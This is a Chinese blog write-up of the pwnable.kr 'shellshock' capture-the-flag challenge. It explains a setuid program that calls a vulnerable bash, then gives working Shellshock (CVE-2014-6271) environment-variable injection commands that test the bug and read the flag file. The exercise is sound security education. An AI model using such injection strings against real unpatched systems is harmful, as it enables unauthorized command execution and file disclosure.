pwnable.kr [Toddler's Bottle] - shellshock

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

有关14年针对低于4.3版本 bash 的破壳漏洞 shellshock , CVE-2014-6271。
关于该漏洞的内容参考:http://bobao.360.cn/learning/detail/43.html

ssh登录后查看当前用户目录内容:

shellshock@ubuntu:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c

会发现文件 shellshock 和 flag 的所有者均为root,并且属于同一组 shellshock_pwn 。
查看 shellshock.c 文件内容:

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

看到这里,大致的思路就出来了,因为 shellshock 和 flag 所属的组 shellshock_pwn 对于 flag 文件有读的权限, shellshock 执行时将 RUID , EUID, SUID 设置成 EGID,该进程就得到了对 flag文件的读权限。
同时该进程会打开bash,可以利用bash漏洞跑出 flag 内容。
(这里笔者没有弄清楚的是,既然 shellshock 文件对于组用户在执行时拥有 SUID 权限,即运行时该进程暂时得到 shellshock 拥有者 root 的权限,那么该进程在读 flag 文件时是以 shellshock_pwn 的身份还是 root 的身份?)

先测试这里给出的这个 bash 是否真的存在破壳漏洞:

shellshock@ubuntu:~$ env x='() { :;}; echo vulnerable' ./bash -c "test"
vulnerable
test

输出了vulnerable,说明该bash可被“破壳”。
接下来构造含有输出 flag 功能的 shellcode ,置入环境变量,让这个存在漏洞的 bash 帮助我们得到flag

shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

友情链接更多精彩内容